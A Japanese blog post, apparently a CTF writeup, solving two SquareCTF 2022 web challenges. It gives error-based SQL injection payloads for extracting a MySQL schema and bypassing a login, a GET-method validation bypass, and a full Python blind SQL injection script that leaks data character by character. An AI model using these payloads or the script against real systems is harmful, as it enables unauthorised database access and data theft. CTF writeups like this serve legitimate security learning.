はまやんはまやんはまやん

hamayanhamayan's blog

SquareCTF 2022 Writeups

[web] Alex Hanlon Has The Flag!

ログイン画面が与えられる。
とりあえずadmin:admin'を試すと、エラーが出てくる。

Exceptions:
java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1

ok.
ユーザー名admin、パスワード' or ''=を試すと、Sorry, admin is the wrong userと言われる。
ok. 例外が出ているので、例外経由で情報が抜けないか試す。とりあえず手元にあるpayload試してみる。

'||extractvalue(null,concat(0x01,(select "abccd")));#
->
java.sql.SQLException: XPATH syntax error: 'abccd'

完璧ですね。情報を抜いていこう。

SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES
->
appdb,information_schema,perfor

select GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'appdb'
->
user

select GROUP_CONCAT(column_name) from information_schema.columns where table_name='user'
->
password,username

select CONCAT(username,password) from user
->
admin,ahanlon

select GROUP_CONCAT(password) from user
->
password

問題文にAlex Hanlon has the flag! See if you can figure out his username and then login as himとあるのでahanlonでログインすれば良い。
普通に' or 1=1 #とかすると、最初の要素がadminなのでadminでログインしているような感じになってダメ。
1つ目はスキップさせるためにユーザー名は適当で、パスワードに' or 1=1 limit 1,1 #とすればフラグが出てくる。

[web] Going In Blind

ボーっとしていたら終わっていたが、一応ちゃんと解けた。

上の問題に入力値のバリデーションが追加されている。
英数字しか認めないような検証をしてて、これがなされていると何もできない。
問題名からもBlind SQLiをする必要がありそうだが、コードなしでこれはきついな…

しばらくしているとヒントが追加されていた。

Hint: Wait, did we make sure the input sanitization will run on every codepath?
ヒント: 待って、入力サニタイズはすべてのコードパスで実行されることを確認しましたか?

色々いじってみると、POST /で実施されている正常系をGETに変換しても動く。
GET /?username=b&password='%20or%201%3d1%20%23をやってみると検証がバイパスされて実行される。
ここからはblind SQLiしていく。

以下のようにスクリプトを書いて抜き取っていく。

import requests
import time
import urllib.parse

url = 'http://chals.2022.squarectf.com:4103'

#req = 'SELECT "abc"'
#[*] done! abc
#req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES'
#[*] done! [*] done! appdb,information_schema,performance_schema
#req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='appdb'"
#[*] done! flag,user
#req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='flag'"
#[*] done! flag
req = "SELECT GROUP_CONCAT(distinct flag) FROM flag"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or if({md} <= ascii(substring(({req}),{i},1)), 1, 0) #"
        u = f"{url}/?username=a&password={urllib.parse.quote(exp)}"
        res = requests.get(u)
        if "Nope" not in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")